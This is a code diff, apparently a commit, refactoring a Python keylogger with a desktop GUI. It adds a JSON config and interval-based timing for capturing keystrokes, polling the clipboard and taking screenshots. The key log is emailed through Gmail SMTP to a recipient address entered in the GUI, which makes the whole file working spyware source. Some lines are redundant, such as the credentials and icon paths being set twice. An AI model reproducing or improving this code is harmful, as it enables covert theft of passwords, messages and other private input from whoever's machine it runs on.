|
23 | 23 | import glob |
24 | 24 | from datetime import datetime |
25 | 25 |
|
| 26 | +import json |
| 27 | +import time |
| 28 | + |
| 29 | +_DEFAULT_CONFIG = { |
| 30 | + "paths": { |
| 31 | + "data_dir": "app/data", |
| 32 | + "keys_file": "app/data/key_log.txt", |
| 33 | + "system_file": "app/data/systeminfo.txt", |
| 34 | + "clipboard_file": "app/data/clipboard.txt", |
| 35 | + "screenshot_dir": "app/data/screenshots" |
| 36 | + } |
| 37 | +, |
| 38 | + "intervals_seconds": { |
| 39 | + "screenshot_interval": 900, |
| 40 | + "email_interval": 900, |
| 41 | + "clipboard_interval": 30, |
| 42 | + "loop_sleep": 1 |
| 43 | + }, |
| 44 | + "screenshots": {"keep_latest": 10}, |
| 45 | + "email": { |
| 46 | + "smtp_host": "smtp.gmail.com", |
| 47 | + "smtp_port": 587, |
| 48 | + "from_env": True, |
| 49 | + "from_address_env_var": "email", |
| 50 | + "from_password_env_var": "pass" |
| 51 | + }, |
| 52 | + "gui": { |
| 53 | + "icon": "cracking.ico", |
| 54 | + "image": "cracking.png", |
| 55 | + "window_title": "Key Logger 5155" |
| 56 | + }, |
| 57 | + "safety": {"require_confirm": True} |
| 58 | +} |
| 59 | + |
| 60 | +def load_config(): |
| 61 | + """Load ../config.json relative to this file, merge with defaults.""" |
| 62 | + base_dir = os.path.dirname(os.path.abspath(__file__)) |
| 63 | + config_path = os.path.join(base_dir, "..", "config.json") |
| 64 | + cfg = _DEFAULT_CONFIG.copy() |
| 65 | + |
| 66 | + try: |
| 67 | + with open(config_path, "r", encoding="utf-8") as f: |
| 68 | + user_cfg = json.load(f) |
| 69 | + except FileNotFoundError: |
| 70 | + logging.warning(f"config.json not found at {config_path}, using defaults") |
| 71 | + return cfg |
| 72 | + except json.JSONDecodeError as e: |
| 73 | + logging.error(f"Invalid config.json: {e}") |
| 74 | + return cfg |
| 75 | + |
| 76 | + for top_key, top_val in user_cfg.items(): |
| 77 | + if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict): |
| 78 | + cfg[top_key].update(top_val) |
| 79 | + else: |
| 80 | + cfg[top_key] = top_val |
| 81 | + return cfg |
| 82 | + |
| 83 | +# Load config once |
| 84 | +config = load_config() |
| 85 | + |
| 86 | + |
26 | 87 | # Load environment variables |
27 | 88 | load_dotenv() |
28 | 89 |
|
29 | 90 | # Configure logging |
30 | | -logging.basicConfig(filename="data/key_log.txt", level=logging.DEBUG, format='%(asctime)s, %(message)s') |
| 91 | +logging.basicConfig( |
| 92 | + filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"), |
| 93 | + level=logging.DEBUG, |
| 94 | + format="%(asctime)s, %(message)s" |
| 95 | +) |
31 | 96 |
|
32 | 97 | # File paths for various log files |
33 | | -keys_information = "data/key_log.txt" |
34 | | -system_information = "data/systeminfo.txt" |
35 | | -clipboard_information = "data/clipboard.txt" |
36 | | -SCREENSHOT_DIR="data/screenshots" |
| 98 | +# Config-based paths and intervals |
| 99 | +paths = config["paths"] |
| 100 | +keys_information = paths["keys_file"] |
| 101 | +system_information = paths["system_file"] |
| 102 | +clipboard_information = paths["clipboard_file"] |
| 103 | +SCREENSHOT_DIR = paths["screenshot_dir"] |
| 104 | + |
| 105 | +intervals = config["intervals_seconds"] |
| 106 | +SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900)) |
| 107 | +EMAIL_INTERVAL = int(intervals.get("email_interval", 900)) |
| 108 | +CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30)) |
| 109 | +LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0)) |
| 110 | + |
| 111 | +KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10)) |
| 112 | + |
| 113 | +email_cfg = config["email"] |
| 114 | +SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com") |
| 115 | +SMTP_PORT = int(email_cfg.get("smtp_port", 587)) |
| 116 | + |
| 117 | +# Load email credentials (prefer env) |
| 118 | +if email_cfg.get("from_env", True): |
| 119 | + email_address = os.getenv(email_cfg.get("from_address_env_var", "email")) |
| 120 | + password = os.getenv(email_cfg.get("from_password_env_var", "pass")) |
| 121 | +else: |
| 122 | + email_address = email_cfg.get("from_address") |
| 123 | + password = email_cfg.get("from_password") |
37 | 124 |
|
38 | 125 | # Retrieve email and password from environment variables |
39 | 126 | email_address = os.getenv('email') |
@@ -174,33 +261,54 @@ def write_file(keys): |
174 | 261 |
|
175 | 262 | # Function to start keylogger |
176 | 263 | def start_logger(): |
177 | | - global listener, toAddr, btnStr |
178 | | - count = 900 |
| 264 | + global listener, toAddr, btnStr, stopFlag |
179 | 265 | listener.start() |
180 | 266 | btnStr.set("Stop Keylogger") |
| 267 | + |
181 | 268 | screenshot() |
| 269 | + last_screenshot = time.time() |
| 270 | + last_clipboard = time.time() |
| 271 | + last_email = time.time() |
| 272 | + |
182 | 273 | while True: |
183 | | - print(count) |
184 | 274 | if stopFlag: |
185 | 275 | break |
186 | | - if count % 30 == 0: |
187 | | - copy_clipboard() |
188 | | - if count == 0: |
189 | | - screenshot() |
190 | | - computer_information() |
191 | | - if email_address and password and toAddr != "": |
| 276 | + |
| 277 | + now = time.time() |
| 278 | + |
| 279 | + # Clipboard capture |
| 280 | + if now - last_clipboard >= CLIPBOARD_INTERVAL: |
| 281 | + try: |
| 282 | + copy_clipboard() |
| 283 | + except Exception as e: |
| 284 | + logging.error(f"Clipboard error: {e}") |
| 285 | + last_clipboard = now |
| 286 | + |
| 287 | + # Screenshot capture |
| 288 | + if now - last_screenshot >= SCREENSHOT_INTERVAL: |
| 289 | + try: |
| 290 | + screenshot() |
| 291 | + except Exception as e: |
| 292 | + logging.error(f"Screenshot error: {e}") |
| 293 | + last_screenshot = now |
| 294 | + |
| 295 | + # Email send |
| 296 | + if now - last_email >= EMAIL_INTERVAL: |
| 297 | + if email_address and password and toAddr: |
192 | 298 | try: |
193 | 299 | send_email(keys_information, keys_information, toAddr) |
194 | | - except: |
195 | | - pass |
196 | | - count = 900 |
197 | | - sleep(1) |
198 | | - count -= 1 |
| 300 | + except Exception as e: |
| 301 | + logging.error(f"Email send failed: {e}") |
| 302 | + last_email = now |
| 303 | + |
| 304 | + time.sleep(LOOP_SLEEP) |
| 305 | + |
199 | 306 | listener.stop() |
200 | 307 | btnStr.set("Start Keylogger") |
201 | 308 | listener = Listener(on_press=on_press) |
202 | 309 |
|
203 | 310 |
|
| 311 | + |
204 | 312 | # Function to handle button click event |
205 | 313 | def on_button_click(): |
206 | 314 | global state, toAddr, listener, stopFlag, receiver_entry, btnStr |
@@ -243,10 +351,15 @@ def on_button_click(): |
243 | 351 | btnStr.set("Start Keylogger") |
244 | 352 |
|
245 | 353 | # Load and set icon on Title bar |
246 | | -root.after(201, lambda: root.iconbitmap('cracking.ico')) |
| 354 | +base_dir = os.path.dirname(os.path.abspath(__file__)) |
| 355 | +icon_path = os.path.join(base_dir, "data", "cracking.ico") |
| 356 | +img_path = os.path.join(os.path.dirname(__file__), "cracking.png") |
| 357 | +image = Image.open(img_path) |
| 358 | + |
| 359 | +icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico") |
| 360 | +root.after(201, lambda: root.iconbitmap(icon_path)) |
| 361 | +image = Image.open(img_path) |
247 | 362 |
|
248 | | -# Display an image |
249 | | -image = Image.open('cracking.png') |
250 | 363 | resize_image = image.resize((300, 300)) |
251 | 364 | img = CTkImage(light_image=resize_image, size=(240, 240)) |
252 | 365 | icon = CTkLabel(main_frame, image=img, text="") |
|
0 commit comments